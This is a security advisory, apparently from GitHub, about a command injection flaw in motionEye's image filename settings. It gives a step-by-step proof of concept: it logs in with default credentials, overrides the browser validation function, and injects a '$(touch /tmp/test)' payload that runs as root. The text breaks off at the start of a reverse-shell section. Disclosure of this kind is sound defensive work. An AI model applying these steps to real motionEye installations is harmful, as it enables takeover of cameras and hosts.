motionEye vulnerable to RCE via unsanitized motion config parameter
Summary
A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).
Details
Root Cause:
MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.
Vulnerability flow:
Dashboard (Web UI)
↓
ConfigHandler.set_config()
↓
camera-*.conf written
↓
motionctl.restart()
↓
Motion parses config → executes payload
Affected code:
The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.
Proof of Concept (PoC)
The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.
Environment Setup
1. Start MotionEye container
Launch the vulnerable container:
```bash
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
```
2. Verify version
Confirm the running version inside logs:
```bash
docker logs motioneye | grep "motionEye server"
```
Result:
```
motionEye server 0.43.1b4
```
<img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />
3. Container shell access (for verification later)
Keep a shell handy to verify results:
```bash
docker exec -it motioneye /bin/bash
ls -la /tmp
```
Exploitation Steps
4. Access Web Interface
- Open browser at:
http://127.0.0.1:9999 - Login with default credentials: admin / *(blank password)*
- Add a sample RTSP network camera (required to enable camera-specific settings).
<img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" />
5. Attempt malicious filename input
- Go to: Camera Settings → Still Images
- In the Image File Name field, try:
```bash
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
```
- Observation: This is blocked by client-side validation in the browser.
<img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" />
<img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" />
6. Client-Side Validation Discovery
- The check is implemented in JavaScript:
/static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4- Example validation function:
```javascript
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
```
7. Bypass Validation
- Open browser console (F12 → Console tab)
- Override the function to always return true:
```javascript
configUiValid = function() { return true; };
```
- This bypasses client-side validation and allows arbitrary values.
<img width="819" height="539" alt="bypass" src="https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2" />
8. Inject Payload
- Set Capture Mode:
Interval Snapshots - Set Interval:
10 - Set Image File Name to the payload:
```bash
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
```
- Click Apply to save settings.
<img width="565" height="344" alt="inject_payload" src="https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e" />
9. Verify Execution
- Inside the container shell:
```bash
ls -la /tmp
```
- Result: File
/tmp/test is created with root permissions, confirming code execution.
<img width="554" height="164" alt="verify" src="https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02" />
Weaponizing RCE (Reverse Shell Example)
10. Start attacker listener
```ba
